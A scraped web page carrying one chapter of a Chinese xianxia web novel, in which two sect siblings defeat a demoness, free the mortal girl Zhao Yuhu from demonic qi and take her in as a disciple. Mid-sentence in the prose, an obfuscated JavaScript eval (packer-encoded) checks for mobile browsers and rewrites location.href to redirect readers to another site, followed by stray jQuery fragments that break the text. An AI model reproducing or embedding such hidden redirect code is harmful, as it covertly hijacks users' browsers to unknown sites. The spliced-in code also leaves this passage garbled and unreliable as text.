底下众弟子的脸色几经变幻,似是没料到一向孤僻冷情的陆筝会这样直接,一时皆沉默下来。
谢羡之亦怔在了原地,不可置信的看着陆筝。
她说,自己是她亲自挑选的师弟。
谢羡之很想笑出声来,但在这样的场合,哈哈大笑实在是有失体面。他咳了两声,道:“听见了吗?我是陆师姐的亲师弟!刚才那个大喊大叫的呢?你有意见吗?”
那男子缩了缩脑袋,仿佛是惧怕陆筝的威势,嘴上却仍不怕死的嘟囔着:“不过是仗着大师姐沈拒霜不在这里,一个不祥之身而已,也敢这样作威作福……”
二人的神色同时沉下来,谢羡之不惯着他,提枪将他挑到空中,厉声道:“你说什么?”
或许是因着马上要被赶出忘情宫,这人索性破罐子破摔,叫嚷道:“陆筝,你就是哪里都不如沈拒霜师姐!脾性暴躁还孤僻,整个宗门中谁愿意同你说话?”
他无视了谢羡之沉得像要杀人的脸,挣扎道:“你再怎么立威,忘情宫中也不会有人服你的!你是不祥之身,你——”
他的话停在空中,只剩下瞪大的双眼,还有伸得老长的舌头。
谢羡之将这人从枪尖上甩下来,不甚在意道:“看清楚了,不是我杀的。”
沉重的尸体滚落在弟子们的脚边,有胆小的弟子尖叫一声,试图逃走,却被一阵阴寒的风挡住了去路。
一个幽幽的女声由远及近,缓缓飘到了众人耳边。
“既然来了,那就都别走了!”
除了谢羡之和陆筝之外,在场的弟子皆惊慌不已,忙站到一起试图结阵。但方才这魔女杀了一名弟子,阵法无论如何也凑不齐人数,几人只得拿出手上的法器,紧张的盯着四周的动静。
陆筝一直没有说话,见此情景,倒是讽刺地笑了笑:“怎么,现在害怕了吗?”
这魔女也不过元婴巅峰修为,完全伤不到陆筝。谢羡之亦毫发无损,靠近了陆筝,低声道:“师姐,我们要出手吗?”
“当然要出手。”陆筝小声回他,“不过,先看会好戏再说。”
二人说话的功夫,魔女已然闪身飞到了那名女弟子身边。
女弟子只觉得有一只冰凉的手缓缓摩挲着她的皮肤,忍不住头皮发麻,惊叫起来:“啊啊啊!!”
魔女却并未止步,伸出另一只手,迅捷地袭向她的腰间。
女弟子的命牌顷刻化作了齑粉,她呼吸一窒,晕了过去。
谢羡之有香囊护体,还有空不紧不慢地与陆筝咬耳朵:“师姐,出手吗?”
“出手吧。”陆筝低声道,“这魔女我看着眼熟。”
谢羡之得令,借着离火枪轻轻一跃进入战局,与魔女缠斗起来。
谢羡之的修为虽比她低上一个大境界,但他的枪法奇绝,又有清虚子给的法宝香囊,魔女竟不能从他身上占到丝毫便宜。每每想要偷袭,陆筝就使力将她的魔力弹开,二人一唱一和,简直是在戏弄这魔女。
如此三番,魔女虽没有神智,却也被气得够呛,竟将周身魔力聚作一把长剑,汇集全身之力,只为杀死谢羡之!
谢羡之见势不妙,敏捷地跳开几步,用离火枪暂时抵挡住她的攻击:“师姐,救我!”
陆筝毫不拖泥带水,立刻便拔剑出招,与谢羡之的枪势汇成一脉。二人身影一红一白,远远看去,倒真有几分相配。
有陆筝助力,谢羡之瞬间轻松不少,笑道:“师姐,你还记得疾风骤雨诀的第三式吗?”
陆筝不答,借着他的长枪飞身刺出一剑。这一剑她并未用全力,但其中灵力已然足够恐怖,那女魔被刺中魔丹,再也无力支撑,倒在地上,咳了口血。
谢羡之松了口气,无视了众弟子,过去探了探她的鼻息:“师姐,她好像还没死。”
“我没有杀她。”陆筝将疏桐上的血擦拭干净,瞥了地上的女子一眼,“我认得她。”
“你认得她?”谢羡之大吃一惊,“师姐,这人是谁啊?”
陆筝走至女子身前,蹲下将她扶坐起来:“你还记得我们之前下凡斩杀那个大魔吗?”
谢羡之瞬间明白了:“她是……赵玉湖吗?”
“是她。”
陆筝安静下来,抬手轻轻点了点她的额头。一道紫黑色的魔力从赵玉湖体内飞出,赵玉湖又咳了几声,悠悠醒转。
她被陆筝捏碎了魔丹,体内的魔力也被逼出,此刻完全恢复了寻常女子的模样。
赵玉湖仿佛还有些懵,看了看面前的二人,小声道:“你们是谁?”
“我是忘情宫二师姐陆筝,我身旁这位是我师弟谢羡之。”陆筝道,“你还记得你入魔之前的事吗?”
“入魔?”赵玉湖一惊,挣扎着想要坐起来,“我……我入魔了?”
陆筝颔首:“没错。如果一时想不起来,待会再想也不迟,现下你先坐在这里休息一会吧。”
赵玉湖呆呆地望着陆筝,片刻才道:“好。”
陆筝将她安顿在一旁,转身看向那群缩成一团的弟子,平静道:“大魔已除,你们爱找秘宝就找,与我没有任何干系。只是若再让我听见诋毁我和师弟的话……”
那女弟子吓得魂飞魄散,此刻终于清醒了过来,恰巧亲眼见了陆筝制服赵玉湖的模样。
实力在修仙界是硬道理,她不敢违抗,忙点头道:“我等绝不会再胡言乱语,多谢师姐救命之恩!”
有女弟子领头,余下的弟子也纷纷道:“多谢师姐救命之恩!”
陆筝没再理这群人,朝谢羡之道:“走吧。”
她伸手扶起赵玉湖,走到僻静处找了个位置,示意赵玉湖坐下歇息。
赵玉湖似是很害怕的模样,嗫嚅道:“姐姐……到底是怎么回事?”
陆筝叹了口气,平视着她:“你叫赵玉湖,还记得吗?”
赵玉湖点头,道:“我与爹爹相依为命,但前些日子爹爹突然去世了,我被张家大公子强抢至府中做妾,后来又被卖到了花楼。再之后的事情,我就记不得了。”
陆筝神色有些不忍,简略道:“你受了重伤,花楼中人便都以为你死了,将你丢去了乱葬岗。大约就是在那个时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534668|186490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,有魔气侵入了你的体内,将你变成了魔族。”
赵玉湖显然接受不了陆筝的话,怔愣道:“魔族?”
“不过你无须担心,我已经将你体内的魔气除去了。”陆筝补充道,“好在你的肉身还活着,稍后我再为你施诊,将你的身子治好,你便可以回归自由了。”
赵玉湖却并没有答话,而是将自己慢慢缩了起来。陆筝见她眼中蓄了泪,叹了一声,没有再说话。
大颗大颗的眼泪落在地上,赵玉湖抽噎道:“那我父亲呢?”
陆筝拍拍她的肩,安抚道:“他虽死了,死后却为你报了仇,屠尽了张家满门。他的尸身,我也已经好好安葬了。”
赵玉湖的哭声更甚,抽泣了一会,她才平复下来心情,跪在地上朝陆筝磕了个头:“多谢恩人!”
“不必谢我。”陆筝将她扶起来,“你想回家吗?”
“回家?”赵玉湖苦笑了一下,“父亲已经去世了,我的家在哪儿呢?”
陆筝与谢羡之对视了一眼,道:“那我给你些钱财,你去置办些家业,如何?”
“多谢恩人好意。”赵玉湖擦干了眼泪,神色坚定起来,“我想进入仙门修炼,可以吗?”
陆筝没料到她会这样说,一时怔了怔:“可以是可以,只是你身为凡人,又无根基,这条路会很难。”
“我不怕难!”赵玉湖的声音都哭哑了,“我想变得跟恩人一样强,我不想再被人当个玩物一般抢走,求恩人成全!”
许久,陆筝道:“既然如此,那你就先跟在我身边吧。回去之后,我会向师尊请命,收你为外门弟子的。”
赵玉湖的眸中浮现出无尽的感激,立刻又朝陆筝拜了三拜:“谢谢恩人!”
“不必唤我恩人。”陆筝轻轻笑了一下,“叫我师姐就可以了。”
“是,师姐!”
赵玉湖破涕为笑,又抬眼看了看谢羡之:“我跟在师姐身边,那这位师兄怎么办?”
谢羡之非常自觉的站远了些:“不必管我,你们在一块便是。”
陆筝提着谢羡之的衣摆,将他拽了回来,对赵玉湖道:“我想过了,灵华镜内危险重重,你如今只是一介凡人之躯,极难自保。这香囊是个法器,你先入内待一段时间,出了灵华镜,我便将你引入忘情宫,如何?”
谢羡之被陆筝提着,惊讶道:“香囊还能这样用吗?”
“那是你没见识。”
陆筝不置可否,又朝赵玉湖道:“香囊中可以温养你的魂魄和肉身,你可愿意待着吗?”
赵玉湖丝毫没有犹豫:“只要能不给师姐添麻烦,我愿意的。”
陆筝扬起嘴角,将香囊解下,香囊瞬间变成了原先的几倍。赵玉湖试探着走进去,不多时,香囊便恢复了之前的模样,里头多了个少女的声音:“师姐,我在里面了。”
陆筝问道:“没有不适吧?”
“没有,”赵玉湖道,“只是忽然觉得累极了,四周暖洋洋的,很想睡一会。”
“睡吧。”陆筝轻声道,“一觉醒来,我们就出去了。”